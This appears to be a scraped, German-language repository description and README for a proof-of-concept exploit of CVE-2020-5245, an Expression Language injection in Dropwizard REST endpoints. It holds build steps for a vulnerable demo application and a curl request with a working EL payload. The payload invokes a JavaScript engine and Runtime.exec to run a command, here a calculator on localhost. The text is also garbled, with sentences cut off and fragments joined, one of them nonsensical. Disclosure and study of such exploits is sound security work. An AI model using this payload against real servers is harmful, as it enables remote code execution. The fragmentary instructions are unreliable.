lycshub/cve-2020-5245Proof-of-Concept-Exploit für CVE-2020-5245, der eine Expression Language Injection in Dropwizard REST-Endpunkten über manipulierte HTTP-Parameter demonstriert.
mvn clean install aus, um Ihre Anwendung zu erstellenjava -jar target/dropwizard-1.0-SNAPSHOT.jar server config.ymlhttp://localhost:8080 einEinige Fehler in pom.xml-Plugins waren nicht betroffen. Reproduzieren
curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}